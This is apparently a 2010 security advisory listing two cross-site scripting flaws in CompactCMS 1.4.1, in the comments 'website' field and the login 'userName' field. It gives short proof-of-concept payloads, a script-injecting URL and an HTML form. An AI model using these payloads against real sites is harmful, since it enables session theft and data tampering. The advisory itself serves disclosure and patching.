Compact CMS version 1.4.1 suffers from multiple cross site scripting vulnerabilities.
d856e3e38213b483aec9af4c4a382440d5e9f7ec5173d3fe4506445670f5c0c8
=======================================
Vulnerability ID: HTB22695
Reference: http://www.htbridge.ch/advisory/xss_in_compactcms.html
Product: CompactCMS
Vendor: compactcms.nl ( http://www.compactcms.nl/ )
Vulnerable Version: 1.4.1
Vendor Notification: 04 November 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "Comments" module to properly sanitize user-supplied input in "website" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
Attacker can create comment with special crafted website variable. The following PoC is available:
http://host/?a="><script>alert("XSS");</script>
Solution: Upgrade to the most recent version
=======================================
Vulnerability ID: HTB22696
Reference: http://www.htbridge.ch/advisory/xss_in_compactcms_1.html
Product: CompactCMS
Vendor: compactcms.nl ( http://www.compactcms.nl/ )
Vulnerable Version: 1.4.1
Vendor Notification: 04 November 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/lib/includes/auth.inc.php" script to properly sanitize user-supplied input in "userName" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
The following PoC is available:
<form action="http://[host]/lib/includes/auth.inc.php" method="post" name="main" >
<input type="hidden" name="userName" value="123"><script>alert("XSS");</script>" />
<input type="hidden" name="userPass" value="123" />
<input type="submit" value="Submit" name="submit" />
</form>
Solution: Upgrade to the most recent version